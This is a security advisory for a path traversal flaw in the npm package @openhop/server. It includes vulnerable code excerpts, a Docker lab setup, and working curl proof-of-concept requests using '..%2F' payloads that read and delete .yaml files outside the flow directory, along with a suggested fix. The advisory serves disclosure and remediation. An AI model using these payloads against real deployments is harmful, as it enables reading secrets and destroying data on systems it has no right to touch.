npm · @openhop/server
@openhop/server: Path Traversal in Flow ID File Operations
@openhop/server passes unsanitized HTTP route parameters directly to path.join() when constructing filesystem paths for flow YAML files. An unauthenticated attacker who can reach the server can read arbitrary .yaml files accessible to the OpenHop process outside the configured flow directory, and can delete arbitrary .yaml files at any path reachable by the process. Because CORS is set to origin: true (allow all origins), a victim's browser can be used to exploit the vulnerability against a loopback-bound instance. Docker deployments bind HOST=0.0.0.0 by default, enabling direct remote exploitation. CVSS Base Score: 8.3 (High).
FlowStore.filePath() in packages/server/src/store.ts:52–53 constructs a filesystem path by concatenating the caller-supplied id directly into path.join:
// packages/server/src/store.ts:52-53
private filePath(id: string): string {
return join(this.dir, `${id}.yaml`)
}
This result is consumed by two sinks:
packages/server/src/store.ts:78): readFile(this.filePath(id), 'utf-8')packages/server/src/store.ts:105): unlink(this.filePath(id))The id value originates from unauthenticated Fastify HTTP route parameters:
GET /api/flows/:id (packages/server/src/routes.ts:306) → store.get(id) at line 333–335DELETE /api/flows/:id (packages/server/src/routes.ts:509) → store.delete(id) at line 539–541The route parameter schema at packages/server/src/routes.ts:315 and 519 declares only type: 'string' with no pattern constraint or allowlist. Fastify's underlying router (find-my-way) applies decodeURIComponent to route parameters, so the URL segment ..%2Fvictim is decoded to ../victim before it reaches application code. Node.js path.join('/data/flows', '../victim.yaml') then normalizes to /data/victim.yaml, escaping the configured data directory.
Additionally, packages/server/src/index.ts:37 registers CORS with origin: true, permitting any browser origin to make cross-origin requests to the server. This makes the vulnerability exploitable via a malicious webpage against users running OpenHop locally.
Full data-flow (read path):
GET /api/flows/..%2Fvictim received (routes.ts:306)find-my-way decodes ..%2Fvictim → req.params.id = '../victim' (routes.ts:333)store.get('../victim') → filePath('../victim') → join('/data/flows', '../victim.yaml') → /data/victim.yaml (store.ts:52–53)readFile('/data/victim.yaml', 'utf-8') returns file contents (store.ts:78)Full data-flow (delete path):
DELETE /api/flows/..%2Fdelete-me received (routes.ts:509)find-my-way decodes ..%2Fdelete-me → req.params.id = '../delete-me' (routes.ts:539)store.delete('../delete-me') → filePath('../delete-me') → join('/data/flows', '../delete-me.yaml') → /data/delete-me.yaml (store.ts:52–53)unlink('/data/delete-me.yaml') removes the file (store.ts:105)Environment setup (Docker):
# Build from repository root
docker build -f vuln-001/Dockerfile -t openhop-vuln-001 .
# Run with HOST=0.0.0.0 (default in the Dockerfile ENV)
docker run -d --name openhop-vuln-001 -p 8799:8799 openhop-vuln-001
The container creates /data/flows/ as the configured flow store (OPENHOP_DATA_DIR=/data/flows) and places /data/victim.yaml and /data/delete-me.yaml outside that directory as traversal targets.
Attack 1 — Read file outside flow store:
curl -i --path-as-is 'http://127.0.0.1:8799/api/flows/..%2Fvictim'
Expected response:
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
{"id":"victim","meta":{"title":"SECRET_OUTSIDE_FILE","description":"This file lives outside the configured flow store directory"},"flow":{"nodes":[{"id":"a","label":"Sensitive Data","type":"service"}]},"version":1,"createdAt":"2026-06-20T00:00:00.000Z","updatedAt":"2026-06-20T00:00:00.000Z"}
Attack 2 — Delete file outside flow store:
curl -i -X DELETE --path-as-is 'http://127.0.0.1:8799/api/flows/..%2Fdelete-me'
Expected response:
HTTP/1.1 204 No Content
Verify deletion:
docker exec openhop-vuln-001 sh -c 'test -e /data/delete-me.yaml && echo exists || echo deleted'
# Output: deleted
Automated PoC script:
python3 poc.py 127.0.0.1 8799
Recommended fix:
--- a/packages/server/src/store.ts
+++ b/packages/server/src/store.ts
+const FLOW_ID_PATTERN = /^[A-Za-z0-9_-]+$/
+
private filePath(id: string): string {
+ if (!FLOW_ID_PATTERN.test(id)) {
+ throw new Error('Invalid flow id')
+ }
return join(this.dir, `${id}.yaml`)
}
This is a Path Traversal (CWE-22) vulnerability. The .yaml file extension restriction limits confidentiality impact to YAML-format files (C:L), but the delete path allows permanent destruction of any .yaml file the process can reach (I:H, A:H).
Affected parties:
openhop serve locally — exploitable via a malicious webpage due to cors({ origin: true }) allowing all browser origins to make cross-origin requests to localhost:8799.HOST=0.0.0.0 is set by default in the official Docker environment, making all three routes directly reachable from the network without authentication.An attacker can: (1) read the contents of any .yaml file accessible to the OpenHop process, potentially leaking application secrets, configuration data, or other YAML-serialized data; (2) permanently delete any .yaml file accessible to the process, causing data loss or disruption of services that depend on those files.
Dockerfile# Dockerfile for VULN-001: Path Traversal in OpenHop Flow ID File Operations (CWE-22)
#
# Build context: the repository root (naorsabag/openhop)
# Usage:
# docker build -f vuln-001/Dockerfile -t openhop-vuln-001 .
# docker run -d --name openhop-vuln-001 -p 8799:8799 openhop-vuln-001
#
# Data layout inside the container:
# /data/flows/ <- OPENHOP_DATA_DIR (the configured flow store)
# /data/victim.yaml <- OUTSIDE the flow store (path traversal read target)
# /data/delete-me.yaml <- OUTSIDE the flow store (path traversal delete target)
#
# The exploit payload "..%2Fvictim" is URL-decoded by find-my-way to "../victim",
# so path.join('/data/flows', '../victim.yaml') resolves to /data/victim.yaml.
FROM node:22-alpine
WORKDIR /app
# Copy package manifests so npm can resolve workspace dependency graph.
COPY package*.json ./
COPY packages/server/package*.json packages/server/
COPY packages/shared/package*.json packages/shared/
COPY packages/cli/package*.json packages/cli/
COPY packages/web/package*.json packages/web/
# Copy TypeScript configs and source files BEFORE npm install.
# The @openhop/server package has a "prepare" lifecycle that runs
# `tsc && esbuild` during npm install, so all sources must be present.
COPY tsconfig.base.json ./
COPY packages/server/tsconfig*.json packages/server/
COPY packages/server/src/ packages/server/src/
COPY packages/shared/src/ packages/shared/src/
# Install all workspace dependencies.
# The @openhop/server prepare script will compile to dist/server.js.
# We run the server via tsx (direct TypeScript), so the compiled output
# is not required at runtime but the prepare step must not fail.
RUN npm install
# Set up the data directory layout for the PoC.
# /data/flows/ -> configured as OPENHOP_DATA_DIR (the "safe" directory)
# /data/victim.yaml -> outside the store; represents a sensitive file that
# MUST NOT be reachable via the API without sanitization
RUN mkdir -p /data/flows && \
printf 'id: victim\nversion: 1\ncreatedAt: "2026-06-20T00:00:00.0
Is your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.
Check my repoSources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.